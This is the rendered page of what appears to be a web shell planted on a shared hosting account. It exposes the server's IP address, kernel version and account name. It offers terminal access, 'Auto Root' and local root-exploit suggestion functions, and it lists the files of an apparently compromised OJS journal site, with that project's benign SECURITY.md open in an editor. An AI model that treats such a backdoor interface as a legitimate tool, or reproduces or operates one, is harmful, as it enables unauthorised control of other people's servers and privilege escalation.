Linux premium262.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
Server IP : 67.223.118.64 & Your IP : 216.73.216.123
Domains :
Cant Read [ /etc/named.conf ]
User : srjiblsx
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
srjiblsx /
.trash /
Delete
Unzip
Name
Size
Permission
Date
Action
.github
[ DIR ]
drwxr-xr-x
2025-12-26 15:41
.husky
[ DIR ]
drwxr-xr-x
2025-12-26 15:41
.well-known
[ DIR ]
drwxr-xr-x
2025-12-26 13:45
api
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
cache
[ DIR ]
drwxr-xr-x
2026-02-12 03:24
cgi-bin
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
classes
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
controllers
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
dbscripts
[ DIR ]
drwxr-xr-x
2026-02-12 03:24
docs
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
jobs
[ DIR ]
drwxr-xr-x
2026-02-12 03:24
js
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
lib
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
locale
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
pages
[ DIR ]
drwxr-xr-x
2026-02-12 03:24
plugins
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
public
[ DIR ]
drwxr-xr-x
2026-02-12 03:24
registry
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
schemas
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
styles
[ DIR ]
drwxr-xr-x
2026-02-12 03:24
templates
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
tools
[ DIR ]
drwxr-xr-x
2026-02-12 03:23
.trash_restore
1.68
KB
-rw-r--r--
2026-03-21 09:05
README.md
4.79
KB
-rw-r--r--
2025-12-20 10:08
SECURITY.md
2.93
KB
-rw-r--r--
2025-12-20 10:08
config.TEMPLATE.inc.php
19.71
KB
-rw-r--r--
2025-12-20 10:08
config.inc.php
19.86
KB
-rw-r--r--
2025-12-26 15:41
cypress.config.js
1.65
KB
-rw-r--r--
2025-12-20 10:08
cypress.travis.env.json
170
B
-rw-r--r--
2025-12-20 10:08
daftar.html
317
B
-rw-r--r--
2026-02-12 03:24
error_log
2.5
MB
-rw-r--r--
2026-03-08 09:38
favicon.ico
1.12
KB
-rw-r--r--
2025-12-20 10:08
index.php
554
B
-rw-r--r--
2025-12-20 10:08
jsconfig.json
202
B
-rw-r--r--
2025-12-20 10:08
phpdoc.dist.xml
939
B
-rw-r--r--
2025-12-20 10:08
schemaspy.properties
344
B
-rw-r--r--
2025-12-20 10:08
vite.config.frontend.js
1.65
KB
-rw-r--r--
2025-12-20 10:08
vite.config.js
3.15
KB
-rw-r--r--
2025-12-20 10:08
Save
Rename
# Security Policy ## Supported Versions | Version | Supported | Released | End Of Life | Support | | ------- | ----------------------------------------------------- | ------------- | ------------- | :-----: | | 3.5.x | :hourglass: Pre-release | 2025 (est) | 2028 (est) | LTS | | 3.4.x | :heavy_check_mark: Active development | 2023 | 2025 (est) | | | 3.3.x | :heavy_check_mark: Active maintenance | 2020 | 2026 (est) | LTS | | 3.2.x | :x: Not supported | 2020 | 2023 | | | 3.1.x | :x: Not supported | 2017 | 2022 | | | 3.0.x | :x: Not supported | 2016 | 2022 | | | 2.x | :x: Not supported | 2005 | 2021 | | | 1.x | :x: Not supported | 2002 | 2005 (approx) | | PKP usually supports current major release and the last major release. Other releases receive bug fixes for about two years. However, that is not guaranteed. [LTS versions](https://pkp.sfu.ca/2022/02/15/pkp-announces-long-term-support-lts-software-releases/) are an exception to this general rule, that don't include new features but receive security patches and bug fixes for 3-5 years. At least 12 months before a LTS version reaches EOL, a new LTS version is designated, so that you have one year to perform an upgrade. ## Reporting a Vulnerability To report a vulnerability, please contact PKP privately using: pkp-security@lists.sfu.ca You can expect a response via email to acknowledge your report within 2 working days. PKP will then work to verify the vulnerability and assess the risk. This is typically done within the first week of a report. Once these details are known, PKP will file a Github issue entry with limited details for tracking purposes. This initial report will not include enough information to fully disclose the vulnerability but will serve as a point of reference for development and fixes once they are available. When a fix is available, PKP will contact its user community privately via mailing list with details of the fix, and leave a window of typically 2 weeks for community members to patch or upgrade before public disclosure. PKP then discloses the vulnerability publicly by updating the Github issue entry with complete details and adding a notice about the vulnerability to the software download page (e.g. https://pkp.sfu.ca/software/ojs). At this point, a CVE and credit for the discovery may be added to the entry. Depending on the severity of the issue PKP may back-port fixes to releases that are beyond the formal software end-of-life. We aim to have a fix available within a week of notification.